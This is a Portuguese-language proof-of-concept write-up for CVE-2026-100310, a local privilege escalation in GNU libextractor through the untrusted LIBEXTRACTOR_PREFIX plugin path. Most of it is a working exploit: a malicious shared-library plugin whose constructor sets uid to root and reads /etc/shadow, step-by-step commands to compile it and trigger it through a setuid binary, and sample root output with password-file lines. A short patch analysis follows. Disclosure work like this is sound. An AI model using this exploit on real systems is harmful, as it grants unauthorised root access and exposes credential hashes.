
Prova de conceito para CVE-2026-100310, uma escalada de privilégios local no GNU libextractor ≤1.15 através do caminho de busca não confiável LIBEXTRACTOR_PREFIX, com código de exploração e análise de patch.
O mecanismo de carregamento de plugins do GNU libextractor usa a variável de ambiente LIBEXTRACTOR_PREFIX para determinar de onde carregar bibliotecas compartilhadas (plugins .so). Como usa getenv() em vez de secure_getenv(), essa variável de ambiente não é removida quando um processo é executado com privilégios elevados. Um atacante pode definir LIBEXTRACTOR_PREFIX para um diretório malicioso, forçando qualquer aplicação que carregue plugins do libextractor a executar código arbitrário.
Impacto Principal: Escalação de Privilégios Local (LPE) para root.
| Campo | Valor |
|---|
| CVE | CVE-2026-100310 |
| Produto | GNU libextractor |
| Versões Afetadas | >= 0, < 1.16 |
| Versão Corrigida | 1.16 |
| CVSS 4.0 | 7.3 ALTO (CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) |
| Severidade | ALTO |
| CWE | CWE-426 (Caminho de Busca Não Confiável) |
| Vetor de Ataque | Local |
| Privilégios Necessários | Baixo |
| Interação do Usuário | Nenhuma |
| CNA | VulnCheck |
| Pesquisador | Haitam Lazaar |
Nota: Para que esta vulnerabilidade resulte em Escalação de Privilégios Local, um administrador deve ter configurado um binário que se vincula ao
libextractorcom o bitsetuid. Embora olibextractorem si não venha com um bináriosetuid, qualquer processo privilegiado ou daemon do sistema que vincule dinamicamente esta biblioteca e falhe em sanitizar manualmente o ambiente está vulnerável a comprometimento total.
setuid ou daemon privilegiado que se vincule ao libextractor
A animação acima demonstra o exploit. O atacante compila uma biblioteca compartilhada maliciosa (evil_plugin.c) e a coloca em /tmp/evil_plugins. Ao executar um binário setuid que usa libextractor e prefixar o comando com LIBEXTRACTOR_PREFIX=/tmp/evil_plugins, o linker dinâmico carrega o plugin malicioso com privilégios elevados. Isso executa imediatamente comandos arbitrários como root, demonstrado ao escrever a saída de id e o arquivo restrito /etc/shadow em /tmp/privesc_proof.
A vulnerabilidade é acionada principalmente pela exploração da variável de ambiente LIBEXTRACTOR_PREFIX.
(Nota: o libextractor também contém fallbacks secundários inseguros usando /proc/PID/maps e diretórios PATH graváveis, mas a injeção da variável de ambiente é o vetor de ataque mais direto e confiável).
/*
* evil_plugin.c — Plugin malicioso do libextractor para escalação de privilégios
* Compile: gcc -shared -fPIC -o libextractor_ole2.so evil_plugin.c
*
* Coloque em um diretório e defina LIBEXTRACTOR_PREFIX para esse diretório.
* Quando qualquer aplicação setuid carregar o plugin OLE2, este construtor
* escala para root total (uid=0, gid=0) e executa comandos arbitrários.
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor))
void pwn(void) {
/* Escalar: euid=0 permite setuid(0) que define uid real=0 */
setuid(0);
setgid(0);
/* Agora executando como root total — comandos de shell funcionam */
system("echo '=== PRIVILEGE ESCALATION PROOF ===' > /tmp/privesc_proof");
system("id >> /tmp/privesc_proof");
system("echo '' >> /tmp/privesc_proof");
system("echo '--- /etc/shadow (root-only) ---' >> /tmp/privesc_proof");
system("head -3 /etc/shadow >> /tmp/privesc_proof");
}
int _EXTRACTOR_ole2_extract_method = 0;
Testado no Ubuntu 24.04 com libextractor 1.14:
# 1. Compile o plugin malicioso
mkdir -p /tmp/evil_plugins
gcc -shared -fPIC -o /tmp/evil_plugins/libextractor_ole2.so evil_plugin.c
# 2. Simule o binário alvo mal configurado (setuid)
sudo chown root:root /usr/local/bin/extract
sudo chmod u+s /usr/local/bin/extract
# 3. Acione o exploit como usuário sem privilégios
rm -f /tmp/privesc_proof
LIBEXTRACTOR_PREFIX=/tmp/evil_plugins /usr/local/bin/extract testfile.doc
$ cat /tmp/privesc_proof
=== PRIVILEGE ESCALATION PROOF ===
uid=0(root) gid=0(root) groups=0(root),1000(user)
--- /etc/shadow (root-only) ---
root:!:20223:0:99999:7:::
daemon:*:19977:0:99999:7:::
bin:*:19977:0:99999:7:::
Em src/main/extractor_plugpath.c, a função get_installation_paths() chama o getenv() padrão:
if (NULL != (p = getenv("LIBEXTRACTOR_PREFIX")))
Como não usa secure_getenv(), o linker dinâmico não remove essa variável quando o binário é executado com privilégios elevados (diferente de LD_PRELOAD ou LD_LIBRARY_PATH). O lt_dlopenadvise() então carrega cegamente libextractor_<name>.so do caminho controlado pelo atacante.
O mantenedor corrigiu isso na versão 1.16 substituindo getenv() por secure_getenv(), que retorna NULL quando o processo está sendo executado com privilégios elevados (euid != uid).
- if (NULL != (p = getenv ("LIBEXTRACTOR_PREFIX")))
+ if (NULL != (p = secure_getenv ("LIBEXTRACTOR_PREFIX")))
Descoberto por mim (Haitam Lazaar) durante minha pesquisa de segurança independente.
Agradecimentos especiais a Christian Grothoff, o mantenedor do GNU libextractor, por sua triagem incrivelmente rápida, comunicação profissional e implantação rápida de patches (v1.15, v1.16 e v1.17) para resolver esta e várias outras questões de segurança de memória relatadas durante esta auditoria.
Minha pesquisa é fornecida para fins educacionais e defensivos. Use com responsabilidade.